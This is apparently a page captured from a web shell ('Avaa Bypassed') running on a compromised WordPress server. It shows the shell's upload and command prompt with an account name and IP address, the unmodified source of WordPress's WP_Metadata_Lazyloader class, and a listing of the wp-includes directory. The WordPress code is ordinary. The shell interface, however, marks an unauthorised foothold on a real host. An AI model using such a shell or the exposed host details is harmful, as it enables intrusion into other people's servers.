[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.147.27.154: ~ $
<?php
/**
 * Meta API: WP_Metadata_Lazyloader class
 *
 * @package WordPress
 * @subpackage Meta
 * @since 4.5.0
 */

/**
 * Core class used for lazy-loading object metadata.
 *
 * When loading many objects of a given type, such as posts in a WP_Query loop, it often makes
 * sense to prime various metadata caches at the beginning of the loop. This means fetching all
 * relevant metadata with a single database query, a technique that has the potential to improve
 * performance dramatically in some cases.
 *
 * In cases where the given metadata may not even be used in the loop, we can improve performance
 * even more by only priming the metadata cache for affected items the first time a piece of metadata
 * is requested - ie, by lazy-loading it. So, for example, comment meta may not be loaded into the
 * cache in the comments section of a post until the first time get_comment_meta() is called in the
 * context of the comment loop.
 *
 * WP uses the WP_Metadata_Lazyloader class to queue objects for metadata cache priming. The class
 * then detects the relevant get_*_meta() function call, and queries the metadata of all queued objects.
 *
 * Do not access this class directly. Use the wp_metadata_lazyloader() function.
 *
 * @since 4.5.0
 */
#[AllowDynamicProperties]
class WP_Metadata_Lazyloader {
	/**
	 * Pending objects queue.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $pending_objects;

	/**
	 * Settings for supported object types.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $settings = array();

	/**
	 * Constructor.
	 *
	 * @since 4.5.0
	 */
	public function __construct() {
		$this->settings = array(
			'term'    => array(
				'filter'   => 'get_term_metadata',
				'callback' => array( $this, 'lazyload_meta_callback' ),
			),
			'comment' => array(
				'filter'   => 'get_comment_metadata',
				'callback' => array( $this, 'lazyload_meta_callback' ),
			),
			'blog'    => array(
				'filter'   => 'get_blog_metadata',
				'callback' => array( $this, 'lazyload_meta_callback' ),
			),
		);
	}

	/**
	 * Adds objects to the metadata lazy-load queue.
	 *
	 * @since 4.5.0
	 *
	 * @param string $object_type Type of object whose meta is to be lazy-loaded. Accepts 'term' or 'comment'.
	 * @param array  $object_ids  Array of object IDs.
	 * @return void|WP_Error WP_Error on failure.
	 */
	public function queue_objects( $object_type, $object_ids ) {
		if ( ! isset( $this->settings[ $object_type ] ) ) {
			return new WP_Error( 'invalid_object_type', __( 'Invalid object type.' ) );
		}

		$type_settings = $this->settings[ $object_type ];

		if ( ! isset( $this->pending_objects[ $object_type ] ) ) {
			$this->pending_objects[ $object_type ] = array();
		}

		foreach ( $object_ids as $object_id ) {
			// Keyed by ID for faster lookup.
			if ( ! isset( $this->pending_objects[ $object_type ][ $object_id ] ) ) {
				$this->pending_objects[ $object_type ][ $object_id ] = 1;
			}
		}

		add_filter( $type_settings['filter'], $type_settings['callback'], 10, 5 );

		/**
		 * Fires after objects are added to the metadata lazy-load queue.
		 *
		 * @since 4.5.0
		 *
		 * @param array                  $object_ids  Array of object IDs.
		 * @param string                 $object_type Type of object being queued.
		 * @param WP_Metadata_Lazyloader $lazyloader  The lazy-loader object.
		 */
		do_action( 'metadata_lazyloader_queued_objects', $object_ids, $object_type, $this );
	}

	/**
	 * Resets lazy-load queue for a given object type.
	 *
	 * @since 4.5.0
	 *
	 * @param string $object_type Object type. Accepts 'comment' or 'term'.
	 * @return void|WP_Error WP_Error on failure.
	 */
	public function reset_queue( $object_type ) {
		if ( ! isset( $this->settings[ $object_type ] ) ) {
			return new WP_Error( 'invalid_object_type', __( 'Invalid object type.' ) );
		}

		$type_settings = $this->settings[ $object_type ];

		$this->pending_objects[ $object_type ] = array();
		remove_filter( $type_settings['filter'], $type_settings['callback'] );
	}

	/**
	 * Lazy-loads term meta for queued terms.
	 *
	 * This method is public so that it can be used as a filter callback. As a rule, there
	 * is no need to invoke it directly.
	 *
	 * @since 4.5.0
	 * @deprecated 6.3.0 Use WP_Metadata_Lazyloader::lazyload_meta_callback() instead.
	 *
	 * @param mixed $check The `$check` param passed from the 'get_term_metadata' hook.
	 * @return mixed In order not to short-circuit `get_metadata()`. Generally, this is `null`, but it could be
	 *               another value if filtered by a plugin.
	 */
	public function lazyload_term_meta( $check ) {
		_deprecated_function( __METHOD__, '6.3.0', 'WP_Metadata_Lazyloader::lazyload_meta_callback' );
		return $this->lazyload_meta_callback( $check, 0, '', false, 'term' );
	}

	/**
	 * Lazy-loads comment meta for queued comments.
	 *
	 * This method is public so that it can be used as a filter callback. As a rule, there is no need to invoke it
	 * directly, from either inside or outside the `WP_Query` object.
	 *
	 * @since 4.5.0
	 * @deprecated 6.3.0 Use WP_Metadata_Lazyloader::lazyload_meta_callback() instead.
	 *
	 * @param mixed $check The `$check` param passed from the {@see 'get_comment_metadata'} hook.
	 * @return mixed The original value of `$check`, so as not to short-circuit `get_comment_metadata()`.
	 */
	public function lazyload_comment_meta( $check ) {
		_deprecated_function( __METHOD__, '6.3.0', 'WP_Metadata_Lazyloader::lazyload_meta_callback' );
		return $this->lazyload_meta_callback( $check, 0, '', false, 'comment' );
	}

	/**
	 * Lazy-loads meta for queued objects.
	 *
	 * This method is public so that it can be used as a filter callback. As a rule, there
	 * is no need to invoke it directly.
	 *
	 * @since 6.3.0
	 *
	 * @param mixed  $check     The `$check` param passed from the 'get_*_metadata' hook.
	 * @param int    $object_id ID of the object metadata is for.
	 * @param string $meta_key  Unused.
	 * @param bool   $single    Unused.
	 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
	 *                          or any other object type with an associated meta table.
	 * @return mixed In order not to short-circuit `get_metadata()`. Generally, this is `null`, but it could be
	 *               another value if filtered by a plugin.
	 */
	public function lazyload_meta_callback( $check, $object_id, $meta_key, $single, $meta_type ) {
		if ( empty( $this->pending_objects[ $meta_type ] ) ) {
			return $check;
		}

		$object_ids = array_keys( $this->pending_objects[ $meta_type ] );
		if ( $object_id && ! in_array( $object_id, $object_ids, true ) ) {
			$object_ids[] = $object_id;
		}

		update_meta_cache( $meta_type, $object_ids );

		// No need to run again for this set of objects.
		$this->reset_queue( $meta_type );

		return $check;
	}
}

Filemanager

Name Type Size Permission Actions
ID3 Folder 0755
IXR Folder 0755
PHPMailer Folder 0755
Requests Folder 0755
SimplePie Folder 0755
Text Folder 0755
assets Folder 0755
block-bindings Folder 0755
block-patterns Folder 0755
block-supports Folder 0755
blocks Folder 0755
certificates Folder 0755
css Folder 0755
customize Folder 0755
fonts Folder 0755
html-api Folder 0755
images Folder 0755
interactivity-api Folder 0755
js Folder 0755
l10n Folder 0755
php-compat Folder 0755
pomo Folder 0755
rest-api Folder 0755
sitemaps Folder 0755
sodium_compat Folder 0755
style-engine Folder 0755
theme-compat Folder 0755
widgets Folder 0755
admin-bar.php File 36.23 KB 0644
atomlib.php File 11.79 KB 0644
author-template.php File 18.51 KB 0644
block-bindings.php File 5.46 KB 0644
block-editor.php File 27.68 KB 0644
block-i18n.json File 316 B 0644
block-patterns.php File 12.81 KB 0644
block-template-utils.php File 58.74 KB 0644
block-template.php File 13.81 KB 0644
blocks.php File 102.36 KB 0644
bookmark-template.php File 12.64 KB 0644
bookmark.php File 15.07 KB 0644
cache-compat.php File 5.83 KB 0644
cache.php File 13.16 KB 0644
canonical.php File 33.71 KB 0644
capabilities.php File 41.72 KB 0644
category-template.php File 55.67 KB 0644
category.php File 12.41 KB 0644
class-IXR.php File 2.48 KB 0644
class-avif-info.php File 28.92 KB 0644
class-feed.php File 539 B 0644
class-http.php File 367 B 0644
class-json.php File 42.66 KB 0644
class-oembed.php File 401 B 0644
class-phpass.php File 6.61 KB 0644
class-phpmailer.php File 664 B 0644
class-pop3.php File 20.68 KB 0644
class-requests.php File 2.18 KB 0644
class-simplepie.php File 453 B 0644
class-smtp.php File 457 B 0644
class-snoopy.php File 36.83 KB 0644
class-walker-category-dropdown.php File 2.41 KB 0644
class-walker-category.php File 8.28 KB 0644
class-walker-comment.php File 13.89 KB 0644
class-walker-nav-menu.php File 11.51 KB 0644
class-walker-page-dropdown.php File 2.65 KB 0644
class-walker-page.php File 7.43 KB 0644
class-wp-admin-bar.php File 17.46 KB 0644
class-wp-ajax-response.php File 5.14 KB 0644
class-wp-application-passwords.php File 15.25 KB 0644
class-wp-block-bindings-registry.php File 8.26 KB 0644
class-wp-block-bindings-source.php File 2.92 KB 0644
class-wp-block-editor-context.php File 1.32 KB 0644
class-wp-block-list.php File 4.65 KB 0644
class-wp-block-metadata-registry.php File 8.16 KB 0644
class-wp-block-parser-block.php File 2.5 KB 0644
class-wp-block-parser-frame.php File 1.97 KB 0644
class-wp-block-parser.php File 11.26 KB 0644
class-wp-block-pattern-categories-registry.php File 5.25 KB 0644
class-wp-block-patterns-registry.php File 10.53 KB 0644
class-wp-block-styles-registry.php File 6.12 KB 0644
class-wp-block-supports.php File 5.48 KB 0644
class-wp-block-template.php File 1.99 KB 0644
class-wp-block-templates-registry.php File 7.06 KB 0644
class-wp-block-type-registry.php File 4.9 KB 0644
class-wp-block-type.php File 16.86 KB 0644
class-wp-block.php File 19.96 KB 0644
class-wp-classic-to-block-menu-converter.php File 3.99 KB 0644
class-wp-comment-query.php File 47.26 KB 0644
class-wp-comment.php File 9.15 KB 0644
class-wp-customize-control.php File 25.13 KB 0644
class-wp-customize-manager.php File 197.79 KB 0644
class-wp-customize-nav-menus.php File 55.84 KB 0644
class-wp-customize-panel.php File 10.39 KB 0644
class-wp-customize-section.php File 10.95 KB 0644
class-wp-customize-setting.php File 29.19 KB 0644
class-wp-customize-widgets.php File 70.47 KB 0644
class-wp-date-query.php File 34.89 KB 0644
class-wp-dependencies.php File 14.78 KB 0644
class-wp-dependency.php File 2.57 KB 0644
class-wp-duotone.php File 39.83 KB 0644
class-wp-editor.php File 70.64 KB 0644
class-wp-embed.php File 15.62 KB 0644
class-wp-error.php File 7.33 KB 0644
class-wp-exception.php File 253 B 0644
class-wp-fatal-error-handler.php File 7.96 KB 0644
class-wp-feed-cache-transient.php File 3.1 KB 0644
class-wp-feed-cache.php File 969 B 0644
class-wp-hook.php File 15.63 KB 0644
class-wp-http-cookie.php File 7.22 KB 0644
class-wp-http-curl.php File 12.25 KB 0644
class-wp-http-encoding.php File 6.53 KB 0644
class-wp-http-ixr-client.php File 3.42 KB 0644
class-wp-http-proxy.php File 5.84 KB 0644
class-wp-http-requests-hooks.php File 1.97 KB 0644
class-wp-http-requests-response.php File 4.3 KB 0644
class-wp-http-response.php File 2.91 KB 0644
class-wp-http-streams.php File 16.46 KB 0644
class-wp-http.php File 40.53 KB 0644
class-wp-image-editor-gd.php File 19.42 KB 0644
class-wp-image-editor-imagick.php File 31.9 KB 0644
class-wp-image-editor.php File 16.54 KB 0644
class-wp-list-util.php File 7.27 KB 0644
class-wp-locale-switcher.php File 6.47 KB 0644
class-wp-locale.php File 15.73 KB 0644
class-wp-matchesmapregex.php File 1.79 KB 0644
class-wp-meta-query.php File 29.82 KB 0644
class-wp-metadata-lazyloader.php File 6.67 KB 0644
class-wp-navigation-fallback.php File 9 KB 0644
class-wp-network-query.php File 19.39 KB 0644
class-wp-network.php File 12.01 KB 0644
class-wp-object-cache.php File 17.11 KB 0644
class-wp-oembed-controller.php File 6.74 KB 0644
class-wp-oembed.php File 30.74 KB 0644
class-wp-paused-extensions-storage.php File 4.99 KB 0644
class-wp-plugin-dependencies.php File 24.73 KB 0644
class-wp-post-type.php File 29.63 KB 0644
class-wp-post.php File 6.33 KB 0644
class-wp-query.php File 150.47 KB 0644
class-wp-recovery-mode-cookie-service.php File 6.72 KB 0644
class-wp-recovery-mode-email-service.php File 10.92 KB 0644
class-wp-recovery-mode-key-service.php File 4.5 KB 0644
class-wp-recovery-mode-link-service.php File 3.38 KB 0644
class-wp-recovery-mode.php File 11.17 KB 0644
class-wp-rewrite.php File 62.2 KB 0644
class-wp-role.php File 2.46 KB 0644
class-wp-roles.php File 8.38 KB 0644
class-wp-script-modules.php File 18.91 KB 0644
class-wp-scripts.php File 27.68 KB 0644
class-wp-session-tokens.php File 7.28 KB 0644
class-wp-simplepie-file.php File 3.33 KB 0644
class-wp-simplepie-sanitize-kses.php File 1.79 KB 0644
class-wp-site-query.php File 30.88 KB 0644
class-wp-site.php File 7.28 KB 0644
class-wp-styles.php File 10.75 KB 0644
class-wp-tax-query.php File 19.1 KB 0644
class-wp-taxonomy.php File 18.13 KB 0644
class-wp-term-query.php File 39.91 KB 0644
class-wp-term.php File 5.17 KB 0644
class-wp-text-diff-renderer-inline.php File 979 B 0644
class-wp-text-diff-renderer-table.php File 18.37 KB 0644
class-wp-textdomain-registry.php File 10.24 KB 0644
class-wp-theme-json-data.php File 1.77 KB 0644
class-wp-theme-json-resolver.php File 34.97 KB 0644
class-wp-theme-json-schema.php File 7.19 KB 0644
class-wp-theme-json.php File 157.01 KB 0644
class-wp-theme.php File 63.88 KB 0644
class-wp-token-map.php File 27.95 KB 0644
class-wp-user-meta-session-tokens.php File 2.92 KB 0644
class-wp-user-query.php File 42.63 KB 0644
class-wp-user-request.php File 2.17 KB 0644
class-wp-user.php File 22.29 KB 0644
class-wp-walker.php File 13.01 KB 0644
class-wp-widget-factory.php File 3.27 KB 0644
class-wp-widget.php File 17.99 KB 0644
class-wp-xmlrpc-server.php File 209.91 KB 0644
class-wp.php File 25.51 KB 0644
class-wpdb.php File 115.61 KB 0644
class.wp-dependencies.php File 373 B 0644
class.wp-scripts.php File 343 B 0644
class.wp-styles.php File 338 B 0644
comment-template.php File 100.36 KB 0644
comment.php File 127.22 KB 0644
compat.php File 16.58 KB 0644
cron.php File 40.62 KB 0644
date.php File 400 B 0644
default-constants.php File 11.1 KB 0644
default-filters.php File 34.85 KB 0644
default-widgets.php File 2.17 KB 0644
deprecated.php File 185.67 KB 0644
embed-template.php File 338 B 0644
embed.php File 37.02 KB 0644
error-protection.php File 4.02 KB 0644
error_log File 33.07 KB 0644
feed-atom-comments.php File 5.38 KB 0644
feed-atom.php File 2.98 KB 0644
feed-rdf.php File 2.61 KB 0644
feed-rss.php File 1.16 KB 0644
feed-rss2-comments.php File 4.04 KB 0644
feed-rss2.php File 3.71 KB 0644
feed.php File 22.86 KB 0644
fonts.php File 9.52 KB 0644
formatting.php File 327.37 KB 0644
functions.php File 276.53 KB 0644
functions.wp-scripts.php File 14.22 KB 0644
functions.wp-styles.php File 8.38 KB 0644
general-template.php File 165.52 KB 0644
global-styles-and-settings.php File 20.71 KB 0644
http.php File 24.72 KB 0644
https-detection.php File 5.53 KB 0644
https-migration.php File 4.63 KB 0644
kses.php File 72.66 KB 0644
l10n.php File 66.81 KB 0644
link-template.php File 154.01 KB 0644
load.php File 54.35 KB 0644
locale.php File 162 B 0644
media-template.php File 61.57 KB 0644
media.php File 213.3 KB 0644
meta.php File 62.9 KB 0644
ms-blogs.php File 25.17 KB 0644
ms-default-constants.php File 4.81 KB 0644
ms-default-filters.php File 6.48 KB 0644
ms-deprecated.php File 21.25 KB 0644
ms-files.php File 2.65 KB 0644
ms-functions.php File 89.11 KB 0644
ms-load.php File 19.42 KB 0644
ms-network.php File 3.69 KB 0644
ms-settings.php File 4.03 KB 0644
ms-site.php File 39.54 KB 0644
nav-menu-template.php File 25.31 KB 0644
nav-menu.php File 43.33 KB 0644
option.php File 99.37 KB 0644
pluggable-deprecated.php File 6.12 KB 0644
pluggable.php File 113.25 KB 0644
plugin.php File 34.63 KB 0644
post-formats.php File 6.94 KB 0644
post-template.php File 65.31 KB 0644
post-thumbnail-template.php File 10.57 KB 0644
post.php File 283.1 KB 0644
query.php File 36.17 KB 0644
registration-functions.php File 200 B 0644
registration.php File 200 B 0644
rest-api.php File 97.26 KB 0644
revision.php File 30.17 KB 0644
rewrite.php File 19.08 KB 0644
robots-template.php File 5.06 KB 0644
rss-functions.php File 255 B 0644
rss.php File 22.57 KB 0644
script-loader.php File 127.52 KB 0644
script-modules.php File 7.53 KB 0644
session.php File 258 B 0644
shortcodes.php File 23.49 KB 0644
sitemaps.php File 3.16 KB 0644
spl-autoload-compat.php File 441 B 0644
style-engine.php File 7.39 KB 0644
taxonomy.php File 171.33 KB 0644
template-canvas.php File 544 B 0644
template-loader.php File 2.94 KB 0644
template.php File 23.59 KB 0644
theme-i18n.json File 1.26 KB 0644
theme-previews.php File 2.77 KB 0644
theme-templates.php File 6.08 KB 0644
theme.json File 8.5 KB 0644
theme.php File 130.84 KB 0644
update.php File 35.93 KB 0644
user.php File 170.32 KB 0644
vars.php File 6.34 KB 0644
version.php File 931 B 0644
widgets.php File 69.03 KB 0644
wp-db.php File 445 B 0644
wp-diff.php File 726 B 0644